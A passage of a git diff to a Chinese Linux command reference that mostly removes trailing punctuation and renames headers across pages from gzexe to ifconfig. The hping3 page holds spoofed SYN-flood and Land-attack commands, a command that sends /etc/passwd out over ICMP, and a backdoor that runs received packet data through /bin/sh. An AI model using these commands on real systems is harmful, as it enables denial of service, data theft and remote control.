-接着,输入`cat /boot/vm`, 按两次 TAB 键,如果出现一些 vm 开头的文件,比如 vmlinuz-2.6.15-26-386 说明这里是 /boot 所在的分区。 +接着,输入`cat /boot/vm`, 按两次 TAB 键,如果出现一些 vm 开头的文件,比如 vmlinuz-2.6.15-26-386 说明这里是 /boot 所在的分区 -删除上一次的输入,再输入`cat /boot/initrd`,按两次 TAB 键,如果出现一些 initrd 开头的文件,比如 initrd.img-2.6.15-26-386 说明这个 /boot 所在的分区有 initrd ,即 ramdisk 镜像; +删除上一次的输入,再输入`cat /boot/initrd`,按两次 TAB 键,如果出现一些 initrd 开头的文件,比如 initrd.img-2.6.15-26-386 说明这个 /boot 所在的分区有 initrd ,即 ramdisk 镜像 -删除上一次的输入,再输入`cat /sbin/init`,按两次 TAB 键,如果出现一些 init 开头的文件,比如`/sbin/init`说明这个分区是`/`所在的分区; +删除上一次的输入,再输入`cat /sbin/init`,按两次 TAB 键,如果出现一些 init 开头的文件,比如`/sbin/init`说明这个分区是`/`所在的分区 -如果没有出现`/sbin/init`文件,说明`(hd0,1)`分区仅仅是`/boot`分区而不是`/`分区。重新输入`root (hd0,N)`命令,这里 N 是某个 Linux 分区,然后再试`cat /sbin/init`, 直到屏幕上出现`/sbin/init`,说明你找到了`/`分区,严格来说,应该是`/sbin`目录所在的分区; +如果没有出现`/sbin/init`文件,说明`(hd0,1)`分区仅仅是`/boot`分区而不是`/`分区。重新输入`root (hd0,N)`命令,这里 N 是某个 Linux 分区,然后再试`cat /sbin/init`, 直到屏幕上出现`/sbin/init`,说明你找到了`/`分区,严格来说,应该是`/sbin`目录所在的分区 依次输入命令: @@ -64,7 +64,7 @@ initrd /boot/initrd.img-2.6.15-26-386 boot ``` -即可启动系统。 +即可启动系统 这里的关键问题是如何确定系统的几个分区:`/boot` `/` `/sbin` diff --git a/Linux_man_cn/gzexe.md b/Linux_man_cn/gzexe.md index 3a3ffa4..a62b8f8 100644 --- a/Linux_man_cn/gzexe.md +++ b/Linux_man_cn/gzexe.md @@ -5,9 +5,9 @@ gzexe ## 说明 -**gzexe命令** 用来压缩可执行文件,压缩后的文件仍然为可执行文件,在执行时进行自动解压缩。当您去执行被压缩过的执行文件时,该文件会自动解压然后继续执行,和使用一般的执行文件相同。这个命令也可以看成是gunzip命令的一个扩展。 +**gzexe命令** 用来压缩可执行文件,压缩后的文件仍然为可执行文件,在执行时进行自动解压缩。当您去执行被压缩过的执行文件时,该文件会自动解压然后继续执行,和使用一般的执行文件相同。这个命令也可以看成是gunzip命令的一个扩展 -### 语法 +## 选项 ``` gzexe(选项)(参数) @@ -16,11 +16,11 @@ gzexe(选项)(参数) ``` --d:解压缩被gzexe压缩过的可执行文件。 +-d:解压缩被gzexe压缩过的可执行文件 ``` ### 参数 -文件:指定需要压缩的可执行文件。 +文件:指定需要压缩的可执行文件 diff --git a/Linux_man_cn/hdparm.md b/Linux_man_cn/hdparm.md index 968d89f..8f3f641 100644 --- a/Linux_man_cn/hdparm.md +++ b/Linux_man_cn/hdparm.md @@ -7,34 +7,34 @@ ## 选项 ```markdown --a<快取分区>:设定读取文件时,预先存入块区的分区数,若不加上<快取分区>选项,则显示目前的设定; --A<0或1>:启动或关闭读取文件时的快取功能; --c:设定IDE32位I/O模式; --C:检测IDE硬盘的电源管理模式; --d<0或1>:设定磁盘的DMA模式; --f:将内存缓冲区的数据写入硬盘,并清楚缓冲区; --g:显示硬盘的磁轨,磁头,磁区等参数; --h:显示帮助; --i:显示硬盘的硬件规格信息,这些信息是在开机时由硬盘本身所提供; --I:直接读取硬盘所提供的硬件规格信息; --k<0或1>:重设硬盘时,保留-dmu参数的设定; --K<0或1>:重设硬盘时,保留-APSWXZ参数的设定; --m<磁区数>:设定硬盘多重分区存取的分区数; --n<0或1>:忽略硬盘写入时所发生的错误; --p:设定硬盘的PIO模式; --P<磁区数>:设定硬盘内部快取的分区数; --q:在执行后续的参数时,不在屏幕上显示任何信息; --r<0或1>:设定硬盘的读写模式; --S<时间>:设定硬盘进入省电模式前的等待时间; --t;评估硬盘的读取效率; --T:平谷硬盘快取的读取效率; --u<0或1>:在硬盘存取时,允许其他中断要求同时执行; --v:显示硬盘的相关设定; --w<0或1>:设定硬盘的写入快取; --X<传输模式>:设定硬盘的传输模式; --y:使IDE硬盘进入省电模式; --Y:使IDE硬盘进入睡眠模式; --Z:关闭某些Seagate硬盘的自动省电功能。 +-a<快取分区>:设定读取文件时,预先存入块区的分区数,若不加上<快取分区>选项,则显示目前的设定 +-A<0或1>:启动或关闭读取文件时的快取功能 +-c:设定IDE32位I/O模式 +-C:检测IDE硬盘的电源管理模式 +-d<0或1>:设定磁盘的DMA模式 +-f:将内存缓冲区的数据写入硬盘,并清楚缓冲区 +-g:显示硬盘的磁轨,磁头,磁区等参数 +-h:显示帮助 +-i:显示硬盘的硬件规格信息,这些信息是在开机时由硬盘本身所提供 +-I:直接读取硬盘所提供的硬件规格信息 +-k<0或1>:重设硬盘时,保留-dmu参数的设定 +-K<0或1>:重设硬盘时,保留-APSWXZ参数的设定 +-m<磁区数>:设定硬盘多重分区存取的分区数 +-n<0或1>:忽略硬盘写入时所发生的错误 +-p:设定硬盘的PIO模式 +-P<磁区数>:设定硬盘内部快取的分区数 +-q:在执行后续的参数时,不在屏幕上显示任何信息 +-r<0或1>:设定硬盘的读写模式 +-S<时间>:设定硬盘进入省电模式前的等待时间 +-t;评估硬盘的读取效率 +-T:平谷硬盘快取的读取效率 +-u<0或1>:在硬盘存取时,允许其他中断要求同时执行 +-v:显示硬盘的相关设定 +-w<0或1>:设定硬盘的写入快取 +-X<传输模式>:设定硬盘的传输模式 +-y:使IDE硬盘进入省电模式 +-Y:使IDE硬盘进入睡眠模式 +-Z:关闭某些Seagate硬盘的自动省电功能 ``` ## 实例 diff --git a/Linux_man_cn/help.md b/Linux_man_cn/help.md index 9d18ee8..4787bf4 100644 --- a/Linux_man_cn/help.md +++ b/Linux_man_cn/help.md @@ -5,9 +5,9 @@ help ## 说明 -**help命令** 用于显示shell内部命令的帮助信息。help命令只能显示shell内部的命令帮助信息。而对于外部命令的帮助信息只能使用man或者info命令查看。 +**help命令** 用于显示shell内部命令的帮助信息。help命令只能显示shell内部的命令帮助信息。而对于外部命令的帮助信息只能使用man或者info命令查看 -### 语法 +## 选项 ``` help(选项)(参数) @@ -16,14 +16,14 @@ help(选项)(参数) ``` --s:输出短格式的帮助信息。仅包括命令格式。 +-s:输出短格式的帮助信息。仅包括命令格式 ``` ### 参数 -内部命令:指定需要显示帮助信息的shell内部命令。 +内部命令:指定需要显示帮助信息的shell内部命令 -### 实例 +## 实例 使用help命令显示shell内部shopt命令的帮助信息,输入如下命令: diff --git a/Linux_man_cn/hexdump.md b/Linux_man_cn/hexdump.md index fe38374..e41f7bb 100644 --- a/Linux_man_cn/hexdump.md +++ b/Linux_man_cn/hexdump.md @@ -5,9 +5,9 @@ hexdump ## 说明 -**hexdump命令** 一般用来查看“二进制”文件的十六进制编码,但实际上它能查看任何文件,而不只限于二进制文件。 +**hexdump命令** 一般用来查看“二进制”文件的十六进制编码,但实际上它能查看任何文件,而不只限于二进制文件 -### 语法 +## 选项 ``` hexdump [选项] [文件]... @@ -16,15 +16,15 @@ hexdump [选项] [文件]... ``` --n length 只格式化输入文件的前length个字节。 --C 输出规范的十六进制和ASCII码。 --b 单字节八进制显示。 --c 单字节字符显示。 --d 双字节十进制显示。 --o 双字节八进制显示。 --x 双字节十六进制显示。 --s 从偏移量开始输出。 --e 指定格式字符串,格式字符串包含在一对单引号中,格式字符串形如:'a/b "format1" "format2"'。 +-n length 只格式化输入文件的前length个字节 +-C 输出规范的十六进制和ASCII码 +-b 单字节八进制显示 +-c 单字节字符显示 +-d 双字节十进制显示 +-o 双字节八进制显示 +-x 双字节十六进制显示 +-s 从偏移量开始输出 +-e 指定格式字符串,格式字符串包含在一对单引号中,格式字符串形如:'a/b "format1" "format2"' ``` 每个格式字符串由三部分组成,每个由空格分隔,第一个形如a/b,b表示对每b个输入字节应用format1格式,a表示对每a个输入字节应用format2格式,一般a>b,且b只能为1,2,4,另外a可以省略,省略则a=1。format1和format2中可以使用类似printf的格式字符串,如: @@ -39,15 +39,15 @@ hexdump [选项] [文件]... 还有一些特殊的用法: ``` -%_ad:标记下一个输出字节的序号,用十进制表示。 -%_ax:标记下一个输出字节的序号,用十六进制表示。 -%_ao:标记下一个输出字节的序号,用八进制表示。 -%_p:对不能以常规字符显示的用 . 代替。 +%_ad:标记下一个输出字节的序号,用十进制表示 +%_ax:标记下一个输出字节的序号,用十六进制表示 +%_ao:标记下一个输出字节的序号,用八进制表示 +%_p:对不能以常规字符显示的用 . 代替 ``` -同一行如果要显示多个格式字符串,则可以跟多个`-e`选项。 +同一行如果要显示多个格式字符串,则可以跟多个`-e`选项 -### 实例 +## 实例 ``` hexdump -e '16/1 "%02X " " | "' -e '16/1 "%_p" "\n"' test diff --git a/Linux_man_cn/hostid.md b/Linux_man_cn/hostid.md index f221826..3d9d227 100644 --- a/Linux_man_cn/hostid.md +++ b/Linux_man_cn/hostid.md @@ -5,9 +5,9 @@ hostid ## 说明 -**hostid命令** 用于打印当前主机的十六进制数字标识。是主机的唯一标识,是被用来限时软件的使用权限,不可改变。 +**hostid命令** 用于打印当前主机的十六进制数字标识。是主机的唯一标识,是被用来限时软件的使用权限,不可改变 -### 语法 +## 选项 ``` hostid @@ -16,11 +16,11 @@ hostid ``` ---help:显示帮助信息; ---version:显示版本信息。 +--help:显示帮助信息 +--version:显示版本信息 ``` -### 实例 +## 实例 ``` [root@localhost ~]# hostid diff --git a/Linux_man_cn/hping3.md b/Linux_man_cn/hping3.md index e6336e1..6dda448 100644 --- a/Linux_man_cn/hping3.md +++ b/Linux_man_cn/hping3.md @@ -5,7 +5,7 @@ hping3 ## 说明 -**hping** 是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。 +**hping** 是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测 ### 安装 @@ -23,50 +23,50 @@ make install ``` --H --help 显示帮助。 --v -VERSION 版本信息。 --c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。 --i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。 --n -nmeric 数字输出,象征性输出主机地址。 --q -quiet 退出。 --I --interface interface name 无非就是eth0之类的参数。 +-H --help 显示帮助 +-v -VERSION 版本信息 +-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑 +-i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包 +-n -nmeric 数字输出,象征性输出主机地址 +-q -quiet 退出 +-I --interface interface name 无非就是eth0之类的参数 -v --verbose 显示很多信息,TCP回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0 -D --debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......) --z --bind 快捷键的使用。 --Z --unbind 消除快捷键。 --O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。 --1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。 --2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。 --9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。 --a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。 --t --ttl time to live 可以指定发出包的TTL值。 --H --ipproto 在RAW IP模式里选择IP协议。 --w --WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。 --r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。 --F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节。 --x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。 --y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。 +-z --bind 快捷键的使用 +-Z --unbind 消除快捷键 +-O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头 +-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文 +-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式 +-9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据 +-a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了 +-t --ttl time to live 可以指定发出包的TTL值 +-H --ipproto 在RAW IP模式里选择IP协议 +-w --WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样 +-r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO +-F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节 +-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务 +-y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY -G --fragoff fragment offset value set the fragment offset --m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。 --G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。 --C --ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST。 --K --ICMPCODE CODE 指定ICMP代号,缺省0。 ---icmp-ipver 把IP版本也插入IP头。 ---icmp-iphlen 设置IP头的长度,缺省为5(32字节)。 ---icmp-iplen 设置IP包长度。 ---icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM。 ---icmp-ipproto 设置协议的,缺省是TCP。 --icmp-cksum 设置校验和。 +-m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右 +-G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文 +-C --ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST +-K --ICMPCODE CODE 指定ICMP代号,缺省0 +--icmp-ipver 把IP版本也插入IP头 +--icmp-iphlen 设置IP头的长度,缺省为5(32字节) +--icmp-iplen 设置IP包长度 +--icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM +--icmp-ipproto 设置协议的,缺省是TCP +-icmp-cksum 设置校验和 -icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests) --icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests) --s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。 --p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。 ---keep 上面说过了。 --w --win 发的大小和windows一样大,64BYTE。 +-s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义 +-p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1 +--keep 上面说过了 +-w --win 发的大小和windows一样大,64BYTE -O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4. --m --tcpseq 设置TCP序列数。 --l --tcpck 设置TCP ack。 --Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。 +-m --tcpseq 设置TCP序列数 +-l --tcpck 设置TCP ack +-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用 ``` ### Hping3功能 @@ -77,7 +77,7 @@ Hping3主要有以下典型功能应用: 使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html -测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。 +测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接) ``` hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10 @@ -91,25 +91,25 @@ Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志 hping3 -I eth0 -S 192.168.10.1 -p 80 ``` -其中`-I eth0`指定使用eth0端口,`-S`指定TCP包的标志位SYN,`-p 80`指定探测的目的端口。 +其中`-I eth0`指定使用eth0端口,`-S`指定TCP包的标志位SYN,`-p 80`指定探测的目的端口 -hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。 +hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描 #### Idle扫描 -Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。 +Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现 -该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。 +该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态 #### 拒绝服务攻击 -使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。 +使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包 ``` hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000 ``` -其他攻击如smurf、teardrop、land attack等也很容易构建出来。 +其他攻击如smurf、teardrop、land attack等也很容易构建出来 #### 文件传输 @@ -119,7 +119,7 @@ Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/U hping3 192.168.1.159--listen signature --safe --icmp ``` -监听ICMP包中的签名,根据签名解析出文件内容。 +监听ICMP包中的签名,根据签名解析出文件内容 在发送端使用签名打包的ICMP包发送文件: @@ -127,13 +127,13 @@ hping3 192.168.1.159--listen signature --safe --icmp hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd ``` -将`/etc/passwd`密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。 +将`/etc/passwd`密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature) #### 木马功能 -如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。 +如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似 -示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。 +示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行 在木马启动端: @@ -148,8 +148,8 @@ echo ls >test.cmd hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd ``` -将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。 +将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节 -当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。 +当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作 diff --git a/Linux_man_cn/htdigest.md b/Linux_man_cn/htdigest.md index d13de35..b5d0873 100644 --- a/Linux_man_cn/htdigest.md +++ b/Linux_man_cn/htdigest.md @@ -5,9 +5,9 @@ Apache服务器内置工具 ## 说明 -**htdigest命令** 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用于摘要认证的密码文件。 +**htdigest命令** 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用于摘要认证的密码文件 -### 语法 +## 选项 ``` htdigest(选项)(参数) @@ -16,13 +16,13 @@ htdigest(选项)(参数) ``` --c:创建密码文件。 +-c:创建密码文件 ``` ### 参数 -* 密码文件:指定要创建或更新的密码文件; -* 域:指定用户名所属的域; -* 用户名:要创建或者更新的用户名。 +* 密码文件:指定要创建或更新的密码文件 +* 域:指定用户名所属的域 +* 用户名:要创建或者更新的用户名 diff --git a/Linux_man_cn/htpasswd.md b/Linux_man_cn/htpasswd.md index 9de7346..ee8c3e4 100644 --- a/Linux_man_cn/htpasswd.md +++ b/Linux_man_cn/htpasswd.md @@ -5,31 +5,31 @@ apache服务器创建密码认证文件 ## 说明 -**htpasswd命令** 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用户基本认证的密码文件。 +**htpasswd命令** 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用户基本认证的密码文件 -### 语法 +## 选项 ### htpasswd(选项)(参数) ``` --c:创建一个加密文件; --n:不更新加密文件,只将加密后的用户名密码显示在屏幕上; --m:默认采用MD5算法对密码进行加密; --d:采用CRYPT算法对密码进行加密; --p:不对密码进行进行加密,即明文密码; --s:采用SHA算法对密码进行加密; --b:在命令行中一并输入用户名和密码而不是根据提示输入密码; --D:删除指定的用户。 +-c:创建一个加密文件 +-n:不更新加密文件,只将加密后的用户名密码显示在屏幕上 +-m:默认采用MD5算法对密码进行加密 +-d:采用CRYPT算法对密码进行加密 +-p:不对密码进行进行加密,即明文密码 +-s:采用SHA算法对密码进行加密 +-b:在命令行中一并输入用户名和密码而不是根据提示输入密码 +-D:删除指定的用户 ``` ### 参数 -* 用户:要创建或者更新密码的用户名; -* 密码:用户的新密码。 +* 用户:要创建或者更新密码的用户名 +* 密码:用户的新密码 -### 实例 +## 实例 **利用htpasswd命令添加用户** @@ -37,7 +37,7 @@ apache服务器创建密码认证文件 htpasswd -bc .passwd www.jsdig.com php ``` -在bin目录下生成一个.passwd文件,用户名www.jsdig.com,密码:php,默认采用MD5加密方式。 +在bin目录下生成一个.passwd文件,用户名www.jsdig.com,密码:php,默认采用MD5加密方式 **在原有密码文件中增加下一个用户** @@ -45,7 +45,7 @@ htpasswd -bc .passwd www.jsdig.com php htpasswd -b .passwd Jack 123456 ``` -去掉`-c`选项,即可在第一个用户之后添加第二个用户,依此类推。 +去掉`-c`选项,即可在第一个用户之后添加第二个用户,依此类推 **不更新密码文件,只显示加密后的用户名和密码** @@ -53,7 +53,7 @@ htpasswd -b .passwd Jack 123456 htpasswd -nb Jack 123456 ``` -不更新.passwd文件,只在屏幕上输出用户名和经过加密后的密码。 +不更新.passwd文件,只在屏幕上输出用户名和经过加密后的密码 **利用htpasswd命令删除用户名和密码** @@ -68,6 +68,6 @@ htpasswd -D .passwd Jack htpasswd -b .passwd Jack 123456 ``` -即先使用htpasswd删除命令删除指定用户,再利用htpasswd添加用户命令创建用户即可实现修改密码的功能。 +即先使用htpasswd删除命令删除指定用户,再利用htpasswd添加用户命令创建用户即可实现修改密码的功能 diff --git a/Linux_man_cn/hwclock.md b/Linux_man_cn/hwclock.md index 91c4d50..644844a 100644 --- a/Linux_man_cn/hwclock.md +++ b/Linux_man_cn/hwclock.md @@ -41,7 +41,7 @@ hwclock [功能] [选项...] --date <时间> 指定要设置的硬件时钟时间 --epoch <年> 指定作为硬件纪元(epoch)值起始的年份 --noadjfile 不访问 /etc/adjtime;需要使用 --utc 或 --localtime 选项 - --adjfile <文件> 指定调整文件的路径; + --adjfile <文件> 指定调整文件的路径 默认为 /etc/adjtime --test 不更新,只显示将进行什么操作 -D, --debug 调试模式 diff --git a/Linux_man_cn/iconv.md b/Linux_man_cn/iconv.md index 002d315..57643cb 100644 --- a/Linux_man_cn/iconv.md +++ b/Linux_man_cn/iconv.md @@ -5,9 +5,9 @@ iconv ## 说明 -**iconv命令** 是用来转换文件的编码方式的,比如它可以将UTF8编码的转换成GB18030的编码,反过来也行。JDK中也提供了类似的工具native2ascii。Linux下的iconv开发库包括iconv_open,iconv_close,iconv等C函数,可以用来在C/C++程序中很方便的转换字符编码,这在抓取网页的程序中很有用处,而iconv命令在调试此类程序时用得着。 +**iconv命令** 是用来转换文件的编码方式的,比如它可以将UTF8编码的转换成GB18030的编码,反过来也行。JDK中也提供了类似的工具native2ascii。Linux下的iconv开发库包括iconv_open,iconv_close,iconv等C函数,可以用来在C/C++程序中很方便的转换字符编码,这在抓取网页的程序中很有用处,而iconv命令在调试此类程序时用得着 -### 语法 +## 选项 ``` iconv -f encoding [-t encoding] [inputfile]... @@ -26,7 +26,7 @@ iconv -f encoding [-t encoding] [inputfile]... -f和-t所能指定的合法字符在-l选项的命令里面都列出来了。 ``` -### 实例 +## 实例 列出当前支持的字符编码:  @@ -40,6 +40,6 @@ iconv -l iconv file1 -f EUC-JP-MS -t UTF-8 -o file2 ``` -这里,没`-o`那么会输出到标准输出。 +这里,没`-o`那么会输出到标准输出 diff --git a/Linux_man_cn/ifcfg.md b/Linux_man_cn/ifcfg.md index c6680b5..e42b31a 100644 --- a/Linux_man_cn/ifcfg.md +++ b/Linux_man_cn/ifcfg.md @@ -5,9 +5,9 @@ ifcfg ## 说明 -**ifcfg命令** 是一个Bash脚本程序,用来设置Linux中的网络接口参数。 +**ifcfg命令** 是一个Bash脚本程序,用来设置Linux中的网络接口参数 -### 语法 +## 选项 ``` ifcfg(参数) @@ -16,10 +16,10 @@ ifcfg(参数) ### 参数 ``` -网络接口:指定要操作的网络接口; -add/del:添加或删除网络接口上的地址; -ip地址:指定IP地址和子网掩码; -Stop:停用指定的网络接口的IP地址。 +网络接口:指定要操作的网络接口 +add/del:添加或删除网络接口上的地址 +ip地址:指定IP地址和子网掩码 +Stop:停用指定的网络接口的IP地址 ``` diff --git a/Linux_man_cn/ifconfig.md b/Linux_man_cn/ifconfig.md index 9718e23..e77987c 100644 --- a/Linux_man_cn/ifconfig.md +++ b/Linux_man_cn/ifconfig.md @@ -2,31 +2,31 @@ ## 说明 -**ifconfig命令** 被用于配置和显示Linux内核中网络接口的网络参数。用ifconfig命令配置的网卡信息,在网卡重启后机器重启后,配置就不存在。 +**ifconfig命令** 被用于配置和显示Linux内核中网络接口的网络参数。用ifconfig命令配置的网卡信息,在网卡重启后机器重启后,配置就不存在 要想将上述的配置信息永远的存的电脑里,那就要修改网卡的配置文件 ## 选项 ```markdown # 参数 -add<地址>:设置网络设备IPv6的ip地址; -del<地址>:删除网络设备IPv6的IP地址; -down:关闭指定的网络设备; -<硬件地址>:设置网络设备的类型与硬件地址; -io_addr:设置网络设备的I/O地址; -irq:设置网络设备的IRQ; -media<网络媒介类型>:设置网络设备的媒介类型; -mem_start<内存地址>:设置网络设备在主内存所占用的起始地址; -metric<数目>:指定在计算数据包的转送次数时,所要加上的数目; -mtu<字节>:设置网络设备的MTU; -netmask<子网掩码>:设置网络设备的子网掩码; -tunnel<地址>:建立IPv4与IPv6之间的隧道通信地址; -up:启动指定的网络设备; --broadcast<地址>:将要送往指定地址的数据包当成广播数据包来处理; --pointopoint<地址>:与指定地址的网络设备建立直接连线,此模式具有保密功能; --promisc:关闭或启动指定网络设备的promiscuous模式; -IP地址:指定网络设备的IP地址; -网络设备:指定网络设备的名称。 +add<地址>:设置网络设备IPv6的ip地址 +del<地址>:删除网络设备IPv6的IP地址 +down:关闭指定的网络设备 +<硬件地址>:设置网络设备的类型与硬件地址 +io_addr:设置网络设备的I/O地址 +irq:设置网络设备的IRQ 